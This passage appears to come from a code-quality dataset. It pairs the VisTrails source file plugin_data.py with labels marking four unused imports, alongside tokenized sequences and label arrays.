"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"display_",
"[_",
"\"",
"page",
"\\u",
"size",
"\"_",
"]_",
"=_",
"self_",
"._",
"constants_",
"[_",
"'",
"page",
"\\u",
"size",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"display_",
"[_",
"\"",
"content",
"\\u",
"owner",
"\"_",
"]_",
"=_",
"content",
"\\u",
"owner_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"display_",
"[_",
"\"",
"query",
"\"_",
"]_",
"=_",
"query_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"display_",
"[_",
"\"",
"results",
"\"_",
"]_",
"=_",
"results_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"fill",
"\\u",
"template_",
"(_",
"\"",
"search",
".",
"html",
"\"_",
")_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | VisTrails/VisTrails/vistrails/core/vistrail/plugin_data.py | [
{
"content": "###############################################################################\n##\n## Copyright (C) 2014-2016, New York University.\n## Copyright (C) 2011-2014, NYU-Poly.\n## Copyright (C) 2006-2011, University of Utah.\n## All rights reserved.\n## Contact: [email protected]\n##\n## This file is part of VisTrails.\n##\n## \"Redistribution and use in source and binary forms, with or without\n## modification, are permitted provided that the following conditions are met:\n##\n## - Redistributions of source code must retain the above copyright notice,\n## this list of conditions and the following disclaimer.\n## - Redistributions in binary form must reproduce the above copyright\n## notice, this list of conditions and the following disclaimer in the\n## documentation and/or other materials provided with the distribution.\n## - Neither the name of the New York University nor the names of its\n## contributors may be used to endorse or promote products derived from\n## this software without specific prior written permission.\n##\n## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n## AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n## THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n## PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n## CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n## EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n## PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n## OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n## WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n## OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n## ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\"\n##\n###############################################################################\nfrom __future__ import division\n\nfrom vistrails.db.domain import DBPluginData\n\nimport unittest\nimport copy\nimport random\nfrom vistrails.db.domain import IdScope\nimport vistrails.core\n\n\n################################################################################\n# Testing\n\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class PluginData(DBPluginData):\n\n ##########################################################################\n # Constructors and copy\n\n \n\n\n ##########################################################################\n # DB Conversion\n\n\n ##########################################################################\n # Properties\n\n id = DBPluginData.db_id\n data = DBPluginData.db_data\n\n ##########################################################################\n # Operators\n",
"metadata": "root.PluginData",
"header": "['module', '___EOS___']",
"index": 45
},
{
"content": " def __init__(self, *args, **kwargs):\n DBPluginData.__init__(self, *args, **kwargs)\n if self.id is None:\n self.id = -1",
"metadata": "root.PluginData.__init__",
"header": "['class', 'PluginData', '(', 'DBPluginData', ')', ':', '___NEWLINE___', '___NL___', '##########################################################################', '___NL___', '# Constructors and copy', '___NL___', '___EOS___']",
"index": 50
},
{
"content": " def __copy__(self):\n return PluginData.do_copy(self)",
"metadata": "root.PluginData.__copy__",
"header": "['class', 'PluginData', '(', 'DBPluginData', ')', ':', '___NEWLINE___', '___NL___', '##########################################################################', '___NL___', '# Constructors and copy', '___NL___', '___EOS___']",
"index": 55
},
{
"content": " def do_copy(self, new_ids=False, id_scope=None, id_remap=None):\n cp = DBPluginData.do_copy(self, new_ids, id_scope, id_remap)\n cp.__class__ = PluginData\n return cp",
"metadata": "root.PluginData.do_copy",
"header": "['class', 'PluginData', '(', 'DBPluginData', ')', ':', '___NEWLINE___', '___NL___', '##########################################################################', '___NL___', '# Constructors and copy', '___NL___', '___EOS___']",
"index": 58
},
{
"content": " @staticmethod\n def convert(_plugin_data):\n _plugin_data.__class__ = PluginData",
"metadata": "root.PluginData.convert",
"header": "['class', 'PluginData', '(', 'DBPluginData', ')', ':', '___NEWLINE___', '___NL___', '##########################################################################', '___NL___', '# Constructors and copy', '___NL___', '___EOS___']",
"index": 66
},
{
"content": " def __eq__(self, other):\n if type(other) != type(self):\n return False\n return self.data == other.data",
"metadata": "root.PluginData.__eq__",
"header": "['class', 'PluginData', '(', 'DBPluginData', ')', ':', '___NEWLINE___', '___NL___', '##########################################################################', '___NL___', '# Constructors and copy', '___NL___', '___EOS___']",
"index": 79
},
{
"content": "class TestPluginData(unittest.TestCase):\n\n\n",
"metadata": "root.TestPluginData",
"header": "['module', '___EOS___']",
"index": 88
},
{
"content": " def create_data(self, id=1, data=\"\"):\n return PluginData(id=id, data=data)",
"metadata": "root.TestPluginData.create_data",
"header": "['class', 'TestPluginData', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 90
},
{
"content": " def test_create(self):\n self.create_data(2, \"testing the data field\")",
"metadata": "root.TestPluginData.test_create",
"header": "['class', 'TestPluginData', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 93
},
{
"content": " def test_serialization(self):\n import vistrails.core.db.io\n p_data1 = self.create_data()\n xml_str = vistrails.core.db.io.serialize(p_data1)\n p_data2 = vistrails.core.db.io.unserialize(xml_str, PluginData)\n self.assertEquals(p_data1, p_data2)\n self.assertEquals(p_data1.id, p_data2.id)",
"metadata": "root.TestPluginData.test_serialization",
"header": "['class', 'TestPluginData', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 96
}
]
| [
{
"span": "import copy",
"start_line": 40,
"start_column": 0,
"end_line": 40,
"end_column": 11
},
{
"span": "import random",
"start_line": 41,
"start_column": 0,
"end_line": 41,
"end_column": 13
},
{
"span": "from vistrails.db.domain import IdScope",
"start_line": 42,
"start_column": 0,
"end_line": 42,
"end_column": 39
},
{
"span": "import vistrails.core",
"start_line": 43,
"start_column": 0,
"end_line": 43,
"end_column": 21
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"Copy",
"right",
" ",
"(",
"C",
")",
" ",
"2014",
"-",
"2016",
",",
" ",
"New",
" ",
"Yo",
"rk",
" ",
"Univers",
"it",
"y",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"Copy",
"right",
" ",
"(",
"C",
")",
" ",
"2011",
"-",
"2014",
",",
" ",
"NY",
"U",
"-",
"Poly",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"Copy",
"right",
" ",
"(",
"C",
")",
" ",
"2006",
"-",
"2011",
",",
" ",
"Univers",
"it",
"y",
" ",
"of",
" ",
"Ut",
"ah",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"All",
" ",
"rights",
" ",
"reserve",
"d",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"Conta",
"ct",
":",
" ",
"contact",
"@",
"vist",
"rail",
"s",
".",
"org_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"Thi",
"s",
" ",
"file",
" ",
"is",
" ",
"part",
" ",
"of",
" ",
"Vis",
"Trail",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"\"",
"Redistributi",
"on",
" ",
"and",
" ",
"use",
" ",
"in",
" ",
"source",
" ",
"and",
" ",
"binar",
"y",
" ",
"forms",
",",
" ",
"with",
" ",
"or",
" ",
"with",
"out_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"modification",
",",
" ",
"are",
" ",
"permit",
"ted",
" ",
"provided",
" ",
"tha",
"t",
" ",
"the",
" ",
"follow",
"ing",
" ",
"condition",
"s",
" ",
"are",
" ",
"met",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
" ",
"-",
" ",
"Redistributi",
"ons",
" ",
"of",
" ",
"source",
" ",
"code",
" ",
"must",
" ",
"retain",
" ",
"the",
" ",
"above",
" ",
"copyr",
"ight",
" ",
"notice",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
" ",
" ",
" ",
"this",
" ",
"list",
" ",
"of",
" ",
"condition",
"s",
" ",
"and",
" ",
"the",
" ",
"follow",
"ing",
" ",
"discl",
"aime",
"r",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
" ",
"-",
" ",
"Redistributi",
"ons",
" ",
"in",
" ",
"binar",
"y",
" ",
"form",
" ",
"must",
" ",
"reproduce",
" ",
"the",
" ",
"above",
" ",
"copyright_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
" ",
" ",
" ",
"notice",
",",
" ",
"this",
" ",
"list",
" ",
"of",
" ",
"condition",
"s",
" ",
"and",
" ",
"the",
" ",
"follow",
"ing",
" ",
"discl",
"aime",
"r",
" ",
"in",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
" ",
" ",
" ",
"documentation",
" ",
"and",
"/",
"or",
" ",
"other",
" ",
"material",
"s",
" ",
"provided",
" ",
"with",
" ",
"the",
" ",
"distribu",
"tion",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
" ",
"-",
" ",
"Nei",
"ther",
" ",
"the",
" ",
"name",
" ",
"of",
" ",
"the",
" ",
"New",
" ",
"Yo",
"rk",
" ",
"Univers",
"it",
"y",
" ",
"nor",
" ",
"the",
" ",
"names",
" ",
"of",
" ",
"its_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
" ",
" ",
" ",
"contributor",
"s",
" ",
"may",
" ",
"be",
" ",
"used",
" ",
"to",
" ",
"endo",
"rse",
" ",
"or",
" ",
"promote",
" ",
"products",
" ",
"derive",
"d",
" ",
"from_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
" ",
" ",
" ",
"this",
" ",
"software",
" ",
"with",
"out",
" ",
"specific",
" ",
"prior",
" ",
"writt",
"en",
" ",
"permissi",
"on",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"THIS",
" ",
"SOFT",
"WARE",
" ",
"IS",
" ",
"PROVI",
"DED",
" ",
"BY",
" ",
"THE",
" ",
"COPY",
"RIG",
"HT",
" ",
"HOLD",
"ERS",
" ",
"AND",
" ",
"CONTRIB",
"UTO",
"RS",
" ",
"\"",
"AS",
" ",
"IS",
"\"_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"AND",
" ",
"ANY",
" ",
"EXPR",
"ESS",
" ",
"OR",
" ",
"IMPL",
"IED",
" ",
"WAR",
"RAN",
"TIES",
",",
" ",
"INC",
"LU",
"DING",
",",
" ",
"BUT",
" ",
"NOT",
" ",
"LIMIT",
"ED",
" ",
"TO",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"THE",
" ",
"IMPL",
"IED",
" ",
"WAR",
"RAN",
"TIES",
" ",
"OF",
" ",
"MER",
"CHAN",
"TAB",
"ILI",
"TY",
" ",
"AND",
" ",
"FIT",
"NESS",
" ",
"FOR",
" ",
"A",
" ",
"PARTI",
"CUL",
"AR_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"PUR",
"POS",
"E",
" ",
"ARE",
" ",
"DISC",
"LAI",
"MED",
".",
" ",
"IN",
" ",
"NO",
" ",
"EVENT",
" ",
"SHA",
"LL",
" ",
"THE",
" ",
"COPY",
"RIG",
"HT",
" ",
"HOLD",
"ER",
" ",
"OR_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"CONTRIB",
"UTO",
"RS",
" ",
"BE",
" ",
"LI",
"AB",
"LE",
" ",
"FOR",
" ",
"ANY",
" ",
"DIRECT",
",",
" ",
"INDI",
"RECT",
",",
" ",
"INC",
"IDENT",
"AL",
",",
" ",
"SPECIAL",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"EXE",
"MPL",
"ARY",
",",
" ",
"OR",
" ",
"CONS",
"EQU",
"ENTI",
"AL",
" ",
"DA",
"MAGE",
"S",
" ",
"(",
"INC",
"LU",
"DING",
",",
" ",
"BUT",
" ",
"NOT",
" ",
"LIMIT",
"ED",
" ",
"TO",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"PROC",
"URE",
"MENT",
" ",
"OF",
" ",
"SUBST",
"ITU",
"TE",
" ",
"GOOD",
"S",
" ",
"OR",
" ",
"SERVICES",
";",
" ",
"LOSS",
" ",
"OF",
" ",
"USE",
",",
" ",
"DATA",
",",
" ",
"OR",
" ",
"PROF",
"IT",
"S",
";_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"OR",
" ",
"BUS",
"INE",
"SS",
" ",
"INTER",
"RU",
"PTION",
")",
" ",
"HO",
"WE",
"VER",
" ",
"CAU",
"SED",
" ",
"AND",
" ",
"ON",
" ",
"ANY",
" ",
"THE",
"ORY",
" ",
"OF",
" ",
"LI",
"ABI",
"LIT",
"Y",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"WHE",
"THER",
" ",
"IN",
" ",
"CONTR",
"ACT",
",",
" ",
"STRI",
"CT",
" ",
"LI",
"ABI",
"LIT",
"Y",
",",
" ",
"OR",
" ",
"TOR",
"T",
" ",
"(",
"INC",
"LU",
"DING",
" ",
"NEG",
"LIG",
"ENCE",
" ",
"OR_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"OTHER",
"WI",
"SE",
")",
" ",
"ARI",
"SIN",
"G",
" ",
"IN",
" ",
"ANY",
" ",
"WAY",
" ",
"OUT",
" ",
"OF",
" ",
"THE",
" ",
"USE",
" ",
"OF",
" ",
"THIS",
" ",
"SOFT",
"WARE",
",",
" ",
"EVE",
"N",
" ",
"IF_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
" ",
"ADV",
"ISE",
"D",
" ",
"OF",
" ",
"THE",
" ",
"POS",
"SIB",
"ILI",
"TY",
" ",
"OF",
" ",
"SUC",
"H",
" ",
"DA",
"MAGE",
".\"_",
"\\u\\u\\uNL\\u\\u\\u_",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"\\u\\u",
"future\\u\\u_",
"import_",
"division_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"vist",
"rail",
"s_",
"._",
"db_",
"._",
"domain_",
"import_",
"DB",
"Plug",
"in",
"Data_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"unittest_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"copy_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"random_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"vist",
"rail",
"s_",
"._",
"db_",
"._",
"domain_",
"import_",
"Id",
"Scope_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"vist",
"rail",
"s_",
"._",
"core_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"###",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Test",
"ing_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Plug",
"in",
"Data_",
"(_",
"DB",
"Plug",
"in",
"Data_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"######",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Constructor",
"s",
" ",
"and",
" ",
"copy_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"######",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"DB",
" ",
"Conversion",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"######",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Properties_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"id_",
"=_",
"DB",
"Plug",
"in",
"Data_",
"._",
"db",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"data_",
"=_",
"DB",
"Plug",
"in",
"Data_",
"._",
"db",
"\\u",
"data_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"######",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Operators",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Plug",
"in",
"Data_",
"(_",
"DB",
"Plug",
"in",
"Data_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"######",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Constructor",
"s",
" ",
"and",
" ",
"copy_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"*_",
"args_",
",_",
"**_",
"kwargs_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"DB",
"Plug",
"in",
"Data_",
"._",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"*_",
"args_",
",_",
"**_",
"kwargs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"self_",
"._",
"id_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"id_",
"=_",
"-_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Plug",
"in",
"Data_",
"(_",
"DB",
"Plug",
"in",
"Data_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"######",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Constructor",
"s",
" ",
"and",
" ",
"copy_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"copy",
"\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"Plug",
"in",
"Data_",
"._",
"do",
"\\u",
"copy_",
"(_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Plug",
"in",
"Data_",
"(_",
"DB",
"Plug",
"in",
"Data_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"######",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Constructor",
"s",
" ",
"and",
" ",
"copy_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"do",
"\\u",
"copy_",
"(_",
"self_",
",_",
"new",
"\\u",
"ids_",
"=_",
"False_",
",_",
"id",
"\\u",
"scope_",
"=_",
"None_",
",_",
"id",
"\\u",
"remap",
"_",
"=_",
"None_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"cp_",
"=_",
"DB",
"Plug",
"in",
"Data_",
"._",
"do",
"\\u",
"copy_",
"(_",
"self_",
",_",
"new",
"\\u",
"ids_",
",_",
"id",
"\\u",
"scope_",
",_",
"id",
"\\u",
"remap",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"cp_",
"._",
"\\u\\u",
"class\\u\\u_",
"=_",
"Plug",
"in",
"Data_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"cp_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Plug",
"in",
"Data_",
"(_",
"DB",
"Plug",
"in",
"Data_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"######",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Constructor",
"s",
" ",
"and",
" ",
"copy_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"staticmethod_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"convert_",
"(_",
"\\u",
"plugin",
"\\u",
"data_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\\u",
"plugin",
"\\u",
"data_",
"._",
"\\u\\u",
"class\\u\\u_",
"=_",
"Plug",
"in",
"Data_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Plug",
"in",
"Data_",
"(_",
"DB",
"Plug",
"in",
"Data_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"###########",
"###########",
"###########",
"###########",
"###########",
"###########",
"######",
"##",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Constructor",
"s",
" ",
"and",
" ",
"copy_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"\\u\\u",
"eq\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"type_",
"(_",
"other_",
")_",
"!=_",
"type_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"self_",
"._",
"data_",
"==_",
"other_",
"._",
"data_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Test",
"Plug",
"in",
"Data_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Plug",
"in",
"Data_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"create",
"\\u",
"data_",
"(_",
"self_",
",_",
"id_",
"=_",
"1_",
",_",
"data_",
"=_",
"\"\"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"Plug",
"in",
"Data_",
"(_",
"id_",
"=_",
"id_",
",_",
"data_",
"=_",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Plug",
"in",
"Data_",
